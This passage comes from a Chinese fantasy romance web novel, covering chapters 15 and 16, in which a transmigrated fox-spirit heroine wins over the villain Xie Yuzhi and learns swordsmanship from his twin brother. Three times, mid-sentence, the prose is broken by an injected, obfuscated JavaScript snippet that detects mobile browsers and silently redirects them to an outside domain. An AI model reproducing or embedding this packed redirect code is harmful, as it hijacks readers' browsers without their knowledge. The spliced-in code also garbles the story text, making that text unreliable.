他面上依旧清雅端方,似耐心授业解惑的师长,“引气之初,气息偶有躁动属常事,静心凝神便可。” 余柚宁再次调动灵力,在谢瑜白的悉心教导下找到了诀窍,将灵力延着暗处的微光缓缓推动。 谢瑜白长身而立看着她,密而长的睫毛低垂着,似蝶翼般微微颤动,眉头因凝神而蹙起,认真得可爱。 他的指尖在玉箫端口的余温处,极轻地摩挲了一下。 灵力汇入丹田,形成一个圆润的光球,通体舒泰。余柚宁长长呼出口气,睁开眼。 “少宗主!我好像成功了?!”她抬眸看向谢瑜白,眸子里溢出喜色,灿若星辰。 “嗯,引气入体,根基初成。余姑娘冰雪聪明,灵慧过人。”谢瑜白适时赞许,雪色衣袂随渐起的山风拂动,身姿清隽。 余柚宁心神微荡,清风朗月,如春水般温柔,女主吃的可太好了。若换了谢瑜之,骂她笨还来不及呢,绝对不会这样温柔地夸她。 谢瑜白看了好一会儿,她时而傻笑,时而蹙眉摇头叹息,表情实在丰富,“余姑娘?我说的可听清楚了?” 不知到第几声叫唤,她才回过神来,尴尬道:“少宗主,可否再说一遍?” 谢瑜白叹了叹,眼里温和不减,“初入道途,灵脉尚且孱弱,根基不稳,需要每日打坐修炼,今后你可来此处寻我。” 男主要亲自教她修炼?这可太好了! 余柚宁思索片刻,蠢蠢欲动,踌躇道:“会不会太麻烦少宗主了?” “无碍。”谢瑜白唇角轻掀,眸中略过一丝愉悦,将一枚玉质令牌递给她,“若我不在此处,拿着它来不逾居东殿寻我便可。” 余柚宁接过令牌,指尖滑过玉牌的刻字,“祈安?这是?” 谢瑜白微微颔首,“是家母取的表字,余姑娘也不必以少宗主相称,唤我表字便可。” “祈安,是祈求一世平安之意吗?真好听!”余柚宁忽然好奇问:“那谢瑜之呢?他的表字是什么?” “他并无表字。”谢瑜白答道。 也是,反派和男主到底是不同的。爹不疼娘不爱,也难怪谢瑜之会嫉妒男主而黑化。可谢瑜白和谢瑜之不都是亲生的孩子吗?父母也会因为孩子天生的不同而区别对待吗? 这样看来,他和反派也算是某种意义上的通病相怜了。 她只有爷爷一个亲人,好不容易自立了想报答爷爷的养育之恩,爷爷却失踪了。她又莫名其妙来到这里当炮灰,朝着必死的结局靠近。 直到现在,有关爷爷的线索只有“天池境”三个字,许是受了谢瑜白两次忘尘咒的影响,原著的记忆开始变得模棱两可。 她无法想起原著中的相关信息,余光瞥见谢瑜白的衣角,趁男主谢瑜白在这里,问问他好了。 “天池境?”谢瑜白闻言思索起来,“此处似乎是隐世仙人的居所,我也只在古籍中见过,并不知是何处。” 谢瑜白略显迟疑,半带轻笑道:“姑娘为何会问起天池境?” 余柚宁觉得没必要骗谢瑜白,或许告诉他,他还能帮得上自己,“实不相瞒,我在寻我的爷爷,有人告诉我天池境这一线索,我才想试试。” 谢瑜白点点头,“原来如此。我会为余姑娘多加留意的。” “阿宁先谢过谢仙师了。”余柚宁反应过来,又道:“谢谢祈安哥哥。” 待谢瑜白离开后,沉星在识海里喃喃自语。 【奇怪,实在是太奇怪了。】 【为什么我这里可以检测到谢瑜白的好感度啊?】 余柚宁随口一问:“那谢瑜白的好感度是多少啊?” 【谢瑜白好感度:20。】 “好感度竟然比谢瑜之还低?不愧是男主,除了女主谁都不在意。” “他肯定比谢瑜之还难攻略,还好我攻略的不是谢瑜白。” 【对了小主人,男主好像给了你一缕神息,这样一来,你修炼起来就会很容易了。】 【而且随着小主人的修为提升,我也会升级,就不会那么容易沉睡了。】 “什么时候的事?” 【我也不清楚,不过这是好事啊,等到完成合欢宗的任务,取回命书就更容易了。】 “命书到底是什么?很重要吗?” 【命书上记载了天谕,唤醒命书之人可以向命书询问一个问题,小主人若想回家,命书也可以送你回去。】 “这么好啊?爷爷为什么会有这么厉害的东西?” 【主人说他做错了一件事,想要弥补。主人付出了很大的代价,但是有些事情,我现在不能告诉小主人。】 【但是沉星会一直陪着小主人的。】 细细想来,爷爷有些地方确实与别人不太一样。他只是头发全白,并不像其他老爷爷那样老。而且爷爷从未生过病,身体比她还好。 既然沉星不愿说,她也就不问。反正,她一定会找到爷爷的。数着日子,再重的刑罚也该罚完了,是时候去雪中送炭了。 对于她这样的小妖来说,水月宗的几个老古板长老是最恐怖的存在。他们秉持着妖魔必诛之的理念,杀过不少手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811902|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无寸铁的小妖。 余柚宁只好鬼鬼祟祟、躲躲藏藏地往不逾居西殿赶。 行至揽华台,两个身着青衣的小修士在台前偷懒八卦,听到谢瑜之的名字,余柚宁躲在后面竖着耳朵偷听。 “听说了吗?少宗主的弟弟谢瑜之这次回来,心魔好像更重了。” “怎么回事?” “我有个在戒堂任职的朋友,他说谢瑜之在受鞭刑时,背上的伤口魔气缭绕,就像是快要走火入魔一样。” “这倒是让我想起了三年前的一桩怪事。” 稍胖的修士示意旁边的修士附耳过去,压低声音,“你可还记得常宗主的小儿子,常耀瑄?” “当然记得,他在山下被人活活剖了元丹,连肠子都被扯出来了,死状极其惨烈。”他顿了顿,“长老们不是下了禁令,不许任何人再提起此事吗?你还敢谈论,不想活了?” “怕什么,这里又没有别人。”胖修士继续道:“其实我觉得,三年前那件事八成就是谢瑜之干的。” “啊?”他被胖修士一把捂住嘴巴,“你小点声,我跟你说这些,只是想提醒你以后不要再去他的灵田偷药了。” “等他哪天疯起来,说不定你死得比常耀瑄还惨。” “太恐怖了,没想到谢师叔的手段竟这般残忍?和魔修有什么区别?”小修士念叨着,转头却瞧见前方挡着一道暗影,谢瑜之不知何时立在揽华台石阶上。 “手段残忍?和魔修没有分别?”声音如毒蛇般悄然流出,湿腻阴冷。 玄色衣袍处处是裂痕,血肉绽开之处,魔气混合着血雾翻涌,他脸色苍白如纸,眼下青黑浓重,狭长的眼底尽显阴郁。 两个小修士吓得魂飞魄散,扑通跪倒在地,“谢、谢师叔……” 谢瑜之把玩着弦月轮,垂眸慵懒地看向他们,目光森冷。他缓缓抬起手,指尖黑气萦绕,弦月轮倏地飞过去,悬停在那胖修士脖颈处。 轮锋割破皮肤流出一条血痕,他的眼里闪烁起病态的兴奋,“妄议前辈,该当何罪?” 视线缓缓转向另一个修士,“偷窃灵药?屡教不改?” 小修士连连磕头,“小师叔饶命!我再也不敢了!再也不敢了!” 胖修士几乎要吓尿了,抖得像筛糠:“是我信口雌黄!是我轻信谣言!小师叔饶命啊!” 谢瑜之阴鸷的瞳眸微眯,弦月轮抖动起来正要逼近命脉,余光却瞥见石柱后探出的半张脸,余柚宁睁着小鹿般受惊的眼睛,手指紧张地攥着衣角。 他动作猛地僵住,指尖黑气瞬间溃散,弦月轮落地刮出一阵刺耳的响声,暗沉的眸子骤然收缩,竟略过一丝不知所措的慌乱。 谢瑜之下意识地收回手,垂下眼睫遮住眸底的戾气,压制怒意道:“滚!别让我再见到你们!” 两个小修士如蒙大赦,连滚带爬地跑了。 余柚宁这才敢从石柱后钻出,视线落在他血肉模糊的伤口处,心里泛起一阵心疼,三步并作两步朝他跑过来。 她泛着泪花的眼眸撞入视线,谢瑜之小心翼翼地往后挪了半步,生怕自己这副样子又惊吓到她。 下一秒,一双柔软的臂膀环住了他的腰身,温暖如阳,少女带着哭腔的声音贴着他的胸口响起,“谢瑜之,你疼不疼啊?” 15. 反撩 谢瑜之浑身紧绷,僵在原地。少女温热的泪渗进伤口,比地火牢的烈焰还要灼热。 他一时不知道该说什么,胸口的剧烈心跳有些吵,不自在地推了推她的手臂,余柚宁缓缓松开,轻吸口气,“我……我弄疼你了吗?” “你不问是不是我杀了常耀瑄?”他沙哑着声音,少女温热的怀抱消失,指尖不受控地微微,他竟觉得当时不要推开就好了。 他不得不承认,自己无法克制地、贪恋她的温暖。 余柚宁拉起他的手往后山寒潭的方向走,吸了吸鼻子,“是你杀的又怎样?不是你杀的又怎样?” “我只知道一句话,‘不作死就不会死’,常耀瑄恶贯满盈,是个天生恶童,那样的结局也是他咎由自取。” “你和我想的不太一样。”谢瑜之喉间溢出闷笑,“我还是第一次听人这样的话,听起来好像很有道理。” 他转过身,黑色长发凌乱地垂落,发尾染着血污。 他盯着余柚宁泛红的眼眶,忽然想起幼时自己失控被锁进禁室,母亲偷偷塞来一颗糖,哄着他熬过去就好了,那糖甜得发苦。 少女眼里的泪是不是也像那颗糖一样苦,而此刻她的眼神,和母亲当时看他的眼神很像,不是装的。 谢瑜之沉吟片刻,承认道:“常耀瑄确实是死于我的七月半之毒。” 余柚宁没有半分惧色,“我知道七月半,只要在每年七月十五之前服下解药,就不会死。是他拒不认错赔罪,才会死吧?” “再者,你的修为比他高很多,根本不屑于去做剖人元丹之事。” “你好像很了解我?为什么信我?”他低声质问,不敢去接触她灼热的视线。 “喜欢一个人,就要了解他的全部,爱他的全部啊。” 余柚宁踮起脚,双手捧住他苍白的脸,强迫他与自己对视,“你是谢瑜之,是三番五次救我的谢瑜之,你所杀的都是作恶的妖魔,不是杀人如麻的谢瑜之。” “嗯……虽然你捅过我。”她顿了顿,见他眼神微暗,解释道,“不过我知道你不是故意的,我也已经原谅你了。” “原来你都记得?” 余柚宁才发觉自己说漏嘴了,算了,摊牌了,“其实你哥的忘尘咒对我没用,你欺负我的时候我也记得。” 谢瑜之低头咳两声,转而问:“你怎么会来这里?” 余柚宁抬起头正对着他的目光,“我担心你啊,担心你所以就过来了。” “又说谎。”谢瑜之轻嗤一声,墨色瞳眸直勾勾地盯着她,“青时为何没跟着你?你身上为何有谢瑜白的味道。” 反派属狗的吗?鼻子这么灵,她自己都闻不到。余柚宁只好一五一十解释:“少宗主帮我疏导了灵力,还教我修炼。” 谢瑜之瞳孔微缩,谢瑜白俯身指导她修炼的模样、碧落玉箫轻触她腰腹的时候。似光幕般在他脑海中闪过,似毒针般扎得他心口发疼。 她对他笑了……她竟然对他笑,还笑得那样好看。 他突然抓紧她的手腕,脚下生出传送灵阵,“呵,他对合欢宗妖女可不会这么好心,以后不要让他接近你。” 沉星在识海里默默提醒,【谢瑜之醋意值+10,好感度-5。】 吃醋怎么还带减好感度的啊?不能这么玩吧? 阳光透林间枝叶,在潭面投下斑驳的光影。粼粼波光的潭中似有银鱼穿梭,靠近才发觉只是流动的光晕。 岸边的岩石布满青苔,泛着湿润的幽光,几株点缀着紫色小花的藤蔓垂入水中,随水流轻轻摇曳。 传送灵阵光芒消散,余柚宁骤然落在寒潭前。身旁的谢瑜之突然闷哼一声,身子似薄纸般摇摇欲坠。 “小心。”她慌忙伸手去扶,谢瑜之顺势倚进她怀中。 “伤口……疼得厉害。”谢瑜之重重咳了两声,脑袋无力地搭在她肩头,温热的气息喷洒在她耳畔。 他的脸色好像比刚才更苍白了,难道是入魔后元气大伤,又受了那么多刑罚,身子撑不住了? 余柚宁心急如焚,反派可不能死啊,死了她的任务怎么办?慌乱之中,没注意到他眼底闪过的狡黠:“那、那你快下去疗伤啊!” “可这衣裳沾了许多污秽,不能穿着下去。”谢瑜之语气委屈,修长的手指轻轻扣住她的手腕,“阿宁,你可不可以,帮我脱一下?” 余柚宁的脸瞬间涨得通红,像熟透的浆果,识海响起沉星的偷笑,【开窍的反派真会撩啊!】 【小主人,他好像反客为主了呢。】 寒潭的冷气浸入风里吹拂过来,却吹不散她周身的热意,这是什么话?要她帮他脱?脱个衣服能费多大的劲? “你、你自己脱!”余柚宁别过脸,不敢看他近在咫尺的脸。 “传送阵耗尽了我的力气,而且一动便牵扯伤口,很疼。”谢瑜之叹息一声,“罢了,看来你也不是真的在意我疼不疼。” 他说着,便要去扯自己的衣襟,却因“动作太大”而发出难耐的闷哼。 “别再乱动了。” 余柚宁咬了咬牙,心一横,伸手去解他胸前的盘扣。触到他发烫的皮肤时,热意顺着指尖蔓延开来,像一团团热焰飘入她的四肢百骸,动作变得僵硬迟缓。 谢瑜之似毫无察觉,故意微微后仰,将脖颈与锁骨处的大片肌肤在她眼前暴露无余。 “慢些……疼。”他轻声呢喃,声音像是蒙在薄纱后传出的,带着点鼻音的沙哑。 不小心看到是一回事,某人故意露出来给她看又是一回事。余柚宁被他满身的兰香熏得昏昏沉沉的,好半天才脱完外裳。 衣服落下,余柚宁慌忙后退一步,手腕却被他紧紧扣着,哪里像是没有力气的样子,力气大得能打死一头牛。 他低垂着眼睫,氤氲的水汽在睫毛上挂起露珠,眨眼间比她还像狐狸,“阿宁的剑伤也未完全恢复,要不要陪我下去?泡一泡?” “闭嘴!我早就好了。”余柚宁瞪了他一眼,转身背对着他,“你自己小心些!” 身后传来入水时轻微的水花声,她心里小鹿乱撞,脑子里不断浮现某人湿身的画面。 沉星笑着播报好感度:【谢瑜之好感度+10。】 余柚宁暗暗发誓等他好了,必须想办法扳回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811903|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一局。她才是攻略者,主导者,谢瑜之只能做她的猎物,等待着被她攻略。 她忽然有了主意,反派似乎很喜欢那些美好却又一瞬而逝的东西,男女主的定情名场面这不就派上用场了吗? 与此同时,水月宗议事殿。 常宗主先已半退位,宗门之事在半月前就尽数交给了谢瑜白,在所有人看来,谢瑜白继承宗主之位也只是时间问题。 谢瑜白坐在大殿之上,阖眸听着殿中长老们七嘴八舌地讨论着各宗门弟子被挖元丹一事,算上三年前那一次,已经有数十起了。 水月宗为五派之首,理应最先派弟子往各宗门调查,而眼下他们无一人毛遂自荐,或许皆是害怕自己沦为下一个被挖元丹的人。 若他不当代宗主,这样的事他自己去探查便是,只是眼下宗门还有许多堆积的事务要他处理,他脱不开身。 谢瑜白淡淡掀起眼帘,侧睨向右边一身紫袍的长老,“莫长老的入室弟子云驰,修为仅在我和瑜之之下。” 他恍然想起常宗主幼子常耀瑄那件事,当时几乎所有的证据都指向了瑜之,他与瑜之交恶,两人关系视同水火。 甚至连他……也曾怀疑过自己的弟弟。 可这次他在戒堂受罚,并未离开水月宗,就证明剖元丹之事不是他做的。只是别人依旧会坚持自己所认为的,除非真正的凶手摆在他们面前。 其实这件事交给瑜之来做,最合适不过。在此之前,他想先看看这些看似德高望重的长老的担当如何,教导的弟子如何。 “我想莫长老的弟子应该可以代水月宗前去吧?”谢瑜白淡淡道:“长老可愿替云驰师弟领命?” 莫长老立刻站起身,白眉蹙起,“少宗主,老朽一把年纪,教出的徒弟也平平无奇,还望少宗主另择合适之人。” 谢瑜白故作惋惜,视线缓缓扫过在坐的几位长老:“既如此,那其他长老的弟子可否担此任?” 林长老避开他的目光,支支吾吾道:“我徒弟被我溺爱惯了,又懒又笨,实在无法担此重任啊。” 许长老叹道:“我就只有一个入室弟子,整天呆在水月宗无所事事,懒散惯了,怕是会给水月宗丢人。” 一阵轰乱过后,莫长老突然提议道:“对了,少宗主的弟弟谢瑜之,剑道和修为也算是仙门的佼佼者,何不派他前去?” 谢瑜白思忖道:“可是瑜之最近心魔缠身,我担心……” 莫长一捋大胡子,沉稳老练地宽慰他:“少宗主就是太溺爱胞弟了,等到少宗主继位,他也要作为执剑长老帮衬少宗主的。” “我看正好借此番机会,提前磨砺他的心性才是。” 谢瑜白慢条斯理地捻着玉扳指,点头道:“莫长老所言极是。我会找瑜之商量。今日的议事就到这里吧。” 他不确定谢瑜之是否会答应,不过只有暂时将他和阿宁分开,他的欲念才会停止。而他也能尽快向她传授无情道,确保万无一失。 谢瑜白有时候会觉得,有没有可能,天命道心其实指的是一个人?由那个不排斥他的神息之人承载无情道道心,道心便会固若金汤。 16. 夜昙 谢瑜之的体质令人羡慕,才不出一日,身上的伤口都尽数愈合了,一部分较深的伤口结了疤,还需要些时日恢复。 许是恢复伤势太耗费气力,谢瑜之变得嗜睡起来。余柚宁问过青时,她说谢瑜之每次受刑后都会这样,一段时间就会恢复。 只是她并不会远离谢瑜白,她已经沉迷于修炼无法自拔了,若是回不去,她也能靠自己的本事安身立命。 趁谢瑜之睡觉的时候,余柚宁悄悄谢瑜白指导修炼。她突然反应过来,为什么要搞得偷偷摸摸的样子,她是去上课,又不是偷情。 当她沿着小路往上爬时,听到崖顶传来簌簌的破空声。循声望去,薄纱似的晨雾浮动,一抹熟悉的雪色屹立。 谢瑜白手腕轻振,碧落剑应声出鞘,发出一声清越得震响。长风倒卷而上,白衣随剑式如雪浪翻涌,青色剑锋如潜龙出渊,揽落花流转。 旋身而起时,青色长剑化作破空的碧光,将立在崖顶的巨石撞出一道寸许深的裂痕,剑气所过之处,石面的青苔尽数湮灭。 余柚宁屏住呼吸,不敢惊扰到他。谢瑜白一招一式看似柔然,实则剑势狠戾,剑气比谢瑜之还要汹涌骇人。 “好厉害啊!不愧是正道魁首!”余柚宁不由得叹道。 剑气骤消,谢瑜白收起长剑闻声回眸,眼底的笑意清润温和,“阿宁来了。” “少……祈安哥哥。”余柚宁略显局促,“对不住,没想到还是让你等我了。” “不晚的。”雪松冷香盈袖,谢瑜之的声音近了,轻柔的触感在她的发顶停留一瞬,移开后谢瑜白两指间多了片棠梨花瓣,“下次来了,直接唤我便好。” 他的尾音略微上挑,“是我不好,男子不该让女子等候的。” 余柚宁的心有些悸动,低头寻了个位置,规规矩矩地坐下,别开话题,“这些日子我坚持打坐修炼,经脉舒畅了许多,丹田的灵气也更稳固了,是不是可以学新的了?” 谢瑜白瞥见她耳廓的薄红,眼尾轻抬,“嗯。阿宁勤勉好学,待打坐结束,你想学什么告诉我就好。” “嗯……学什么好呢?”余柚宁认真思索起来,眼神扫过他的碧落剑,忽然一亮,“我想学剑!” 在谢瑜之的居室住时,她不是没想过学,只是谢瑜之的剑都太重了,拿不起来还要被嘲笑。若是找他学,她不敢保证谢瑜之会不会气得拿剑劈她。 她必须提前学点剑招防身,才好独自应对危险,再不必等着别人来救。 “好,我会慢慢教你。” 他居然真的答应了!天下第一剑修教她学剑诶,这是多少人花钱都求不来的,余柚宁心里像装了蜜一样甜滋滋的。 打坐后,她打起十二分的精神认真学习模仿他的剑招,出了差错,谢瑜白也丝毫不会嫌弃她的笨拙,让人几乎要化在他的温柔乡中。 只是他的触碰有些灼热,竟然与谢瑜之有些相似,或许是双生子的缘故? 谢瑜之恢复后,又开始拉着她下棋。 每次都毫不手软,杀得她片甲不留,自己赢了仍旧不忘讽刺她,好像那天故意装柔弱的人是暂时崩人设了一样。好感度还是要刷,还得尽快刷。 “你又输了。”谢瑜之落下一子,轻轻抬眼。 余柚宁盯着棋局,忽然扑到棋盘上耍赖:“不行!这局不算!” “为何?”谢瑜之收着凌乱的棋子,竟忘了数落她。 “因为……”她托腮,意有所指地瞧向他,“因为我刚刚分心了。” 谢瑜之避开她灼热的目光:“下棋怎会分心?不要给自己找无谓的借口。” 余柚宁一脸花痴盯那张绝色的脸:“谢仙师仙姿玉砌,太过好看,害我没法思考。” “你在用美色引诱我分心!” “这样啊。”谢瑜之的脸骤然在她眼前放大,“那你呢?” “你不也从头到尾都在引诱我吗?”他的尾音上挑,带着密密麻麻的小钩子在她心间轻挠。 墨青身影笼罩过来,月色衬得他的脸庞忽明忽暗,而眸中的她分外清晰。 她好像……真的被他引诱了。 谢瑜之的呼吸近在咫尺,余柚宁下意识攥紧了衣袖,微微阖眼。 他的目光落在她颤抖的睫毛上,忽然轻笑一声退了回去,修长的手指抚上她头顶,带着薄茧的指尖缓缓打转。 “唔......”她浑身一颤,狐耳被他引诱得冒了出来。 谢瑜之眼底泛起得逞的笑意,指腹轻轻抚着耳尖的绒毛,声音低哑:“看来这里也很敏感。” 【谢瑜之好感度+5。】 反派这厮变了,越来越会反撩了,可不到最后一刻,她绝不认输,毕竟,她还留着后手呢。 余柚宁只好拿出秘密武器,寂空山流云崖崖边,生长着少数的夜昙,夜昙稀少又梦幻。在原书中作为男女主感情的助燃剂,是他们相爱的见证。 很不幸的是,她摘夜昙时没抓紧绳索,在悬崖边摔伤了腿,也庆幸只是摔伤了腿,还能活。 沉星一边担忧她的伤势,一边笃定道:【小主人,我猜不到三刻,谢瑜之就会跑过来找你。】 谢瑜之找到她时,她正蜷缩在崖底的石边,狼狈地抱着花苞。 “不好好待在不逾居,乱跑什么?!”他冷声斥责,却收好长剑快步向她走来。 余柚宁在心里嘀咕,明明额头都沁出汗了,一看就是急匆匆赶过来的,还装得这么凶!不过此番机会,苦肉计不用白不用。 “谢瑜之!”余柚宁望向他,双眼泛着流霞般的光彩,献宝似地将夜昙捧给他看。 “就为了一朵花?”谢瑜之瞥向她白裙上的泥渍,故作嫌弃,“搞得这样狼狈,会弄脏我的承影剑。” 余柚宁自动忽略他那些破坏氛围的话,拖着残腿挪向他,弯起眼眸笑吟吟道:“这可不是普通的花。” 谢瑜之蹲下身头也不抬,掌心凝出灵力为她疗伤,“伤得不轻。” 灵力带着冷气沁入她的断骨,她疼得抽气,心里却暖暖的。能得到大反派的特别关照,就意味着很快能完成任务了吧? “疼了?”谢瑜之顿了顿,从怀中取出一颗褐色药丸喂给她,指腹在她的唇瓣停留了片刻,“你自找的,疼也给我忍着。” 她将它咽下去,竟是半分疼痛也感觉不到了。余柚宁发自真心道,“谢瑜之,其实我觉得你人挺好的!” “可我仍旧觉得你不安好心。” 不愧是谢瑜之,一百零五度的热情都能被他浇灭,但她也不是不清楚反派脾性的人。反派嘴虽毒,却也不算是坏人。 她瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811904|175276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他掌心的灵气散去,将夜昙递给他,“我安的什么心,试试不就知道了吗?” 他悬在身侧的手微微抬起,然久久未接。若是假的呢?可他又为什么会生出这样的担心? “谢瑜之,你可曾听过夜昙的传闻?女子将含苞待放的夜昙递给心仪之人,它便会……” 夜昙落入谢瑜之手中。 霎时月华萦绕,原本紧闭的夜昙绽开,浸透月色的花瓣在夜里熠熠生辉。 光晕笼罩在他们之间,他眼中的阴霾散了,看向她时,眼底闪过一抹悸动的温情,转而多了丝丝缱绻。 余柚宁顿时心跳如鼓,轻声说完剩下的话,“它会为情盛放。” 夜昙花瓣轻轻摇曳,谢瑜之的脸廓在微光中格外柔和,凌厉的眉头也舒展开来。 “幼稚!”他如视珍宝般捧着昙花,指尖小心翼翼勾过花瓣,“这种哄小孩的把戏……” 可他看起来分明很喜欢,被人当小孩宠着不好吗? “那你还我!”余柚宁伸手去抢,谢瑜之掌心微微拢起,昙花化作白色光华飘入腰间的乾坤袋中。 “昙花一现而终,你留着无用。”话音刚落,谢瑜之揽过她的腰将她打横抱起。 余柚宁下意识抓紧他的衣襟,双颊发烫,“你不是为我治过了吗?我可以自己走的。” “伤到了骨头,暂时还不可以自行活动。”谢瑜之轻扯嘴角警告,“下次再敢乱跑,我就打断你的腿。” 余柚宁瑟缩了一下,不要在温情暧昧的时候说这么恐怖的话啊! “冷?”他低头用阔袖拢住她,余柚宁识趣地往他怀里贴了贴。 “好多了。”她盯着他低垂的睫毛,鬼使神差地伸手触碰他眼下的红痣。他的睫毛低垂下来,扫过她的指腹,微微发痒。 谢瑜之出奇地没躲她,只是专心御剑。 “谢瑜之......”余柚宁小声叫他。 “嗯。” “我听说这夜昙极其罕见,即便是在水月宗这样灵气丰沛的地方,也一年只开一次。” “……我知道。” “下次开花的时候,我们一起来看吧?” 谢瑜之半晌才低声道:“……随你。” 沉星激动道:【小主人,谢瑜之的好感度已经到70了!很快就可以成功了!】 余柚宁抬眸便瞧见谢瑜白站在不远处,他似乎在这里等了很久,看样子是来找谢瑜之的。 “兄长倒是很久没来过西殿了,可有事?”谢瑜之故意将余柚宁拉得更近,眼神挑衅。 谢瑜白的视线落在她被谢瑜之揽起的腰侧,缓缓移开,掌心松开,向谢瑜之递出一枚玉符,“速往吟风洲,探查仙门弟子剖丹案行凶者,不得有误。” “刚当上代宗主,就这么迫不及待对我发号施令了?真是好大的威风啊。” 即便是谢瑜白故意为之,他也无法违抗门令,除非他不再是水月宗弟子。谢瑜之极不情愿地收过玉符,吟风洲……很远。 谢瑜白以宗主之令使唤他,反派不得气炸了。反派感受到两人剑拔弩张的氛围,余柚宁还是觉得先离开这个是非之地为好。 余柚宁从谢瑜之手中退出来,朝两人拜别:“两位仙长,我离开糖糕铺也有些日子了,得回去帮衬帮衬,先行告辞了。”